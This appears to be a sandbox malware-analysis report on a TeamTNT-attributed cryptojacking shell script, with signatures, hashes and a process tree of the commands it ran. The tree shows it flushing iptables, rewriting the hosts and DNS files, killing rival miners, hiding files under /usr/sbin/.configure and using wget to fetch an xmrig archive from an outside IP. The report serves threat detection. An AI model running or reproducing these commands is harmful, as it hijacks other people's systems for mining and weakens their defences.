Overview

overview

10

Static

static

10

SugarLogic...AWS.sh

ubuntu-18.04-amd64

6

SugarLogic...AWS.sh

debian-9-armhf

6

SugarLogic...AWS.sh

debian-9-mips

6

SugarLogic...AWS.sh

debian-9-mipsel

6

SugarLogic...nge.sh

ubuntu-18.04-amd64

6

SugarLogic...nge.sh

debian-9-armhf

6

SugarLogic...nge.sh

debian-9-mips

6

SugarLogic...nge.sh

debian-9-mipsel

6

SugarLogic...tup.sh

windows7-x64

3

SugarLogic...tup.sh

windows10-2004-x64

3

SugarLogic...bot.sh

windows7-x64

3

SugarLogic...bot.sh

windows10-2004-x64

3

SugarLogic...d_2.sh

ubuntu-18.04-amd64

7

SugarLogic...d_2.sh

debian-9-armhf

7

SugarLogic...d_2.sh

debian-9-mips

7

SugarLogic...d_2.sh

debian-9-mipsel

7

SugarLogic...oit.sh

windows7-x64

3

SugarLogic...oit.sh

windows10-2004-x64

3

SugarLogic...arch64

ubuntu-18.04-amd64

SugarLogic...arch64

debian-9-armhf

SugarLogic...arch64

debian-9-mips

SugarLogic...arch64

debian-9-mipsel

SugarLogic...x86_64

ubuntu-22.04-amd64

10

SugarLogic.../bot_u

ubuntu-22.04-amd64

10

SugarLogic...en2.sh

ubuntu-18.04-amd64

3

SugarLogic...en2.sh

debian-9-armhf

4

SugarLogic...en2.sh

debian-9-mips

3

SugarLogic...en2.sh

debian-9-mipsel

3

SugarLogic...cap.so

ubuntu-22.04-amd64

1

SugarLogic.../mo.sh

ubuntu-18.04-amd64

7

SugarLogic.../mo.sh

debian-9-armhf

7

SugarLogic.../mo.sh

debian-9-mips

10

Analysis

  • max time kernel
    68s
  • max time network
    177s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29-12-2024 23:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh

  • Size

    27KB

  • MD5

    0da186f3e1f8c89c5fbe5672cbdf05b6

  • SHA1

    a917ab4301ab25749d6e867a1812e61b3b09df3f

  • SHA256

    f82ea98d1dc5d14817c80937b91b381e9cd29d82367a2dfbde60cfb073ea4316

  • SHA512

    25c6afd296b855f8d230389479b95ac079b51a084b38ef7a9a2747024fae8d4441f45b2fb45071f59835868a3b31d7fab2549244be43a09942a5fc07240f7f1d

  • SSDEEP

    384:ckWWRItydlaRM07lT2wDi/Y5vWCr7Q2K3v/lts1dIxRsnJEbOU89WV/:ckWcItYlaxlT2wDGWvWCrzPoRfOPO/

Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistence

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Flushes firewall rules 1 TTPs 1 IoCs

    Flushes/ disables firewall rules inside the Linux kernel.

    defense_evasion
  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Write file to user bin folder 6 IoCs
    persistence
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Process Discovery 1 TTPs 2 IoCs

    Adversaries may try to discover information about running processes.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

  • Software Deployment Tools 1 TTPs 4 IoCs

    Use software deployment tools to execute code.

    execution

Processes

  • /tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
    "/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh"
    1⤵
    • Modifies hosts file
    • Writes DNS configuration
    • Write file to user bin folder
    • Writes file to tmp directory
    PID:739
    • /bin/uname
      uname -m
      2⤵
        PID:747
      • /bin/uname
        uname -m
        2⤵
          PID:748
        • /bin/uname
          uname -m
          2⤵
            PID:749
          • /bin/hostname
            hostname
            2⤵
              PID:751
            • /bin/pidof
              pidof /usr/sbin/.configure/xmrig
              2⤵
              • Reads runtime system information
              PID:752
            • /bin/grep
              grep "45.9.148.108 chimaera.cc" /etc/hosts
              2⤵
                PID:885
              • /bin/grep
                grep chimaera /etc/hosts
                2⤵
                  PID:886
                • /bin/grep
                  grep "45.9.148.108 teamtnt.red" /etc/hosts
                  2⤵
                    PID:897
                  • /bin/grep
                    grep teamtnt /etc/hosts
                    2⤵
                      PID:899
                    • /bin/grep
                      grep "nameserver 8.8.8.8\\|nameserver 8.8.4.4" /etc/resolv.conf
                      2⤵
                        PID:909
                      • /bin/grep
                        grep nameserver /etc/resolv.conf
                        2⤵
                          PID:911
                        • /bin/sed
                          sed -i /nameserver/d /etc/resolv.conf
                          2⤵
                            PID:917
                          • /bin/grep
                            grep "nameserver 8.8.8.8" /etc/resolv.conf
                            2⤵
                              PID:924
                            • /bin/grep
                              grep "nameserver 8.8.4.4" /etc/resolv.conf
                              2⤵
                                PID:935
                              • /usr/bin/apt-get
                                apt-get update --fix-missing
                                2⤵
                                • Writes file to tmp directory
                                • Software Deployment Tools
                                PID:946
                                • /usr/bin/dpkg
                                  /usr/bin/dpkg --print-foreign-architectures
                                  3⤵
                                    PID:948
                                  • /usr/lib/apt/methods/http
                                    /usr/lib/apt/methods/http
                                    3⤵
                                      PID:952
                                    • /usr/lib/apt/methods/https
                                      /usr/lib/apt/methods/https
                                      3⤵
                                        PID:953
                                      • /usr/lib/apt/methods/https
                                        /usr/lib/apt/methods/https
                                        3⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:956
                                      • /usr/lib/apt/methods/http
                                        /usr/lib/apt/methods/http
                                        3⤵
                                          PID:959
                                        • /usr/bin/dpkg
                                          /usr/bin/dpkg --print-foreign-architectures
                                          3⤵
                                            PID:964
                                          • /usr/bin/dpkg
                                            /usr/bin/dpkg --print-foreign-architectures
                                            3⤵
                                            • Reads runtime system information
                                            PID:973
                                        • /usr/bin/apt-get
                                          apt-get install -y bc
                                          2⤵
                                          • Writes file to tmp directory
                                          • Software Deployment Tools
                                          PID:974
                                          • /usr/bin/dpkg
                                            /usr/bin/dpkg --print-foreign-architectures
                                            3⤵
                                              PID:975
                                            • /usr/bin/dpkg
                                              /usr/bin/dpkg --print-foreign-architectures
                                              3⤵
                                                PID:976
                                              • /usr/lib/apt/methods/http
                                                /usr/lib/apt/methods/http
                                                3⤵
                                                  PID:977
                                                • /usr/lib/apt/methods/http
                                                  /usr/lib/apt/methods/http
                                                  3⤵
                                                    PID:978
                                                • /usr/bin/apt-get
                                                  apt-get update --fix-missing
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  • Software Deployment Tools
                                                  PID:979
                                                  • /usr/bin/dpkg
                                                    /usr/bin/dpkg --print-foreign-architectures
                                                    3⤵
                                                      PID:980
                                                    • /usr/lib/apt/methods/http
                                                      /usr/lib/apt/methods/http
                                                      3⤵
                                                        PID:981
                                                      • /usr/lib/apt/methods/https
                                                        /usr/lib/apt/methods/https
                                                        3⤵
                                                          PID:982
                                                        • /usr/lib/apt/methods/https
                                                          /usr/lib/apt/methods/https
                                                          3⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          PID:983
                                                        • /usr/lib/apt/methods/http
                                                          /usr/lib/apt/methods/http
                                                          3⤵
                                                            PID:984
                                                          • /usr/bin/dpkg
                                                            /usr/bin/dpkg --print-foreign-architectures
                                                            3⤵
                                                              PID:986
                                                            • /usr/bin/dpkg
                                                              /usr/bin/dpkg --print-foreign-architectures
                                                              3⤵
                                                                PID:991
                                                            • /usr/bin/apt-get
                                                              apt-get install -y bc --reinstall
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              • Software Deployment Tools
                                                              PID:992
                                                              • /usr/bin/dpkg
                                                                /usr/bin/dpkg --print-foreign-architectures
                                                                3⤵
                                                                • Reads runtime system information
                                                                PID:993
                                                              • /usr/bin/dpkg
                                                                /usr/bin/dpkg --print-foreign-architectures
                                                                3⤵
                                                                  PID:994
                                                                • /usr/lib/apt/methods/http
                                                                  /usr/lib/apt/methods/http
                                                                  3⤵
                                                                    PID:995
                                                                  • /usr/lib/apt/methods/http
                                                                    /usr/lib/apt/methods/http
                                                                    3⤵
                                                                      PID:996
                                                                  • /bin/cp
                                                                    cp /usr/bin/curl /usr/sbin/C_hg_curl
                                                                    2⤵
                                                                    • Write file to user bin folder
                                                                    PID:1020
                                                                  • /bin/chmod
                                                                    chmod +x /usr/sbin/C_hg_curl
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:1021
                                                                  • /bin/ps
                                                                    ps aux
                                                                    2⤵
                                                                    • Reads CPU attributes
                                                                    • Process Discovery
                                                                    • Reads runtime system information
                                                                    PID:1026
                                                                  • /bin/grep
                                                                    grep -i "[a]liyun"
                                                                    2⤵
                                                                      PID:1027
                                                                    • /bin/ps
                                                                      ps aux
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Process Discovery
                                                                      • Reads runtime system information
                                                                      PID:1028
                                                                    • /bin/grep
                                                                      grep -i "[y]unjing"
                                                                      2⤵
                                                                        PID:1029
                                                                      • /sbin/iptables
                                                                        iptables -F
                                                                        2⤵
                                                                        • Flushes firewall rules
                                                                        PID:1032
                                                                      • /bin/mkdir
                                                                        mkdir -p /usr/sbin/.configure/
                                                                        2⤵
                                                                          PID:1035
                                                                        • /bin/systemctl
                                                                          systemctl stop account_daemons.service
                                                                          2⤵
                                                                          • Enumerates kernel/hardware configuration
                                                                          • Reads runtime system information
                                                                          PID:1036
                                                                        • /bin/systemctl
                                                                          systemctl stop moneroocean_miner.service
                                                                          2⤵
                                                                          • Enumerates kernel/hardware configuration
                                                                          PID:1037
                                                                        • /usr/bin/killall
                                                                          killall -9 xmrig
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:1038
                                                                        • /usr/bin/killall
                                                                          killall -9 xmrigMiner
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:1039
                                                                        • /bin/rm
                                                                          rm -rf /usr/sbin/moneroocean/
                                                                          2⤵
                                                                            PID:1040
                                                                          • /bin/rm
                                                                            rm -rf /usr/bin/moneroocean/
                                                                            2⤵
                                                                              PID:1041
                                                                            • /bin/rm
                                                                              rm -rf /usr/sbin/moneroocean/
                                                                              2⤵
                                                                                PID:1042
                                                                              • /usr/bin/nproc
                                                                                nproc
                                                                                2⤵
                                                                                  PID:1043
                                                                                • /bin/sleep
                                                                                  sleep 2
                                                                                  2⤵
                                                                                    PID:1044
                                                                                  • /bin/rm
                                                                                    rm -f "/usr/sbin/.configure/*.json"
                                                                                    2⤵
                                                                                      PID:1045
                                                                                    • /bin/cat
                                                                                      cat
                                                                                      2⤵
                                                                                        PID:1046
                                                                                      • /bin/hostname
                                                                                        hostname
                                                                                        2⤵
                                                                                          PID:1048
                                                                                        • /usr/bin/cut
                                                                                          cut -f1 -d.
                                                                                          2⤵
                                                                                            PID:1049
                                                                                          • /bin/sed
                                                                                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                                                                            2⤵
                                                                                              PID:1050
                                                                                            • /bin/sed
                                                                                              sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"debian9-armhf-20240611-en-4\",/" /usr/sbin/.configure/config.json
                                                                                              2⤵
                                                                                              • Write file to user bin folder
                                                                                              PID:1051
                                                                                            • /bin/cp
                                                                                              cp /usr/sbin/.configure/config.json /usr/sbin/.configure/config_background.json
                                                                                              2⤵
                                                                                              • Write file to user bin folder
                                                                                              PID:1052
                                                                                            • /bin/sed
                                                                                              sed -i "s/\"background\": *false,/\"background\": true,/" /usr/sbin/.configure/config_background.json
                                                                                              2⤵
                                                                                              • Write file to user bin folder
                                                                                              PID:1053
                                                                                            • /usr/bin/wget
                                                                                              wget -q http://85.214.149.236:443/sugarcrm/themes/default/images/SugarLogic/.../xmr/kuben3/i386.tar.gz -O /usr/sbin/.configure/xmrig.tar.gz
                                                                                              2⤵
                                                                                              • Write file to user bin folder
                                                                                              PID:1054

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v15

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • /etc/resolv.conf
                                                                                            Filesize

                                                                                            19B

                                                                                            MD5

                                                                                            fe0b86955e4eb444f17f54d086580b1f

                                                                                            SHA1

                                                                                            e19182dd3a1465bda3aa2e1a63067bec82dd5ad3

                                                                                            SHA256

                                                                                            be102039b1dc4747490c6994ca8dc17d12d32219561f8ba23e8c0b865ac223ed

                                                                                            SHA512

                                                                                            6e03176e423005c87c6c7b2ec4e90c46639d4311839a980317102a10445bc563e1c9e288605d6d5b18fadd32563c4c0ae2284f6016a54c81e5a97fa7c3cd5a26

                                                                                            Download Submit

                                                                                          • /etc/resolv.conf
                                                                                            Filesize

                                                                                            38B

                                                                                            MD5

                                                                                            c7ea09d26e26605227076e0514a33038

                                                                                            SHA1

                                                                                            c3f9736e9af7bd0885578859a50b205c8fa5fc8e

                                                                                            SHA256

                                                                                            7e8ad76e0d200e93918ca2e93c99ff8ecd02071953bf1479819db3ac0dbb6d07

                                                                                            SHA512

                                                                                            17d0088725eb9991e9eb82e8a3de0878e45e6f394bbc2ad260aa59c786ff0ad565e145e21256425d1c0abe15f3ecb402ebb0a6a5e1c2d5ba7a4d95ec93a2861f

                                                                                            Download Submit

                                                                                          • /tmp/sh-thd.Q1aNEl
                                                                                            Filesize

                                                                                            4KB

                                                                                            MD5

                                                                                            ca530ff912cb1a57246c9b11a6db5dbe

                                                                                            SHA1

                                                                                            67fe585886fcbf5169cb1fa56f85864edc5e9f14

                                                                                            SHA256

                                                                                            0db9d6dbd1c03ad2ab7b41adaabd82919dc829a28f444e9ec68173e83d4c6aa7

                                                                                            SHA512

                                                                                            6c85b33f1dcb1abec7e7121f3ac45d6dd6dd75ed03f6bed956545d7e1feb9512766efee27d1015fa27d013fa73e0521d76f79b972b9d8b630ff26172609b1038

                                                                                            Download Submit

                                                                                          • /usr/sbin/.configure/sedPtstLg
                                                                                            Filesize

                                                                                            4KB

                                                                                            MD5

                                                                                            6f5f12b9aab59646024a835c4d3b2941

                                                                                            SHA1

                                                                                            97d382bdeb13751bbff42442ae51413e4462499e

                                                                                            SHA256

                                                                                            0292179b087ca3a9d7c5d05353692be8521dafd06f8d1e4826c10c00c56c4a2d

                                                                                            SHA512

                                                                                            eb4d87fe4674942e7ec57249a0c4009f545a307258de73cd628974b6995c7393a99615b0caca20f44af731a9c63e78ffcc029eb1b37b59d1a5359d40c3681850

                                                                                            Download Submit

                                                                                          • /usr/sbin/C_hg_curl
                                                                                            Filesize

                                                                                            149KB

                                                                                            MD5

                                                                                            20b40ccbb1ebd15d8c136f9852b3237d

                                                                                            SHA1

                                                                                            1e71f64883c6f097e4384bd7a95f42f1b231a19a

                                                                                            SHA256

                                                                                            db8109f973860b011ac6fdc46c86043bdcec2ceeacf7ac561b2bffb788cb36ae

                                                                                            SHA512

                                                                                            6b11db766e680df0b7be91997f663958198c22e24952a851c3014317eaf5b711738f2c9cf9691398259deb186c953b1c46106922b9bca0b70452d33bd8b90053

                                                                                            Download Submit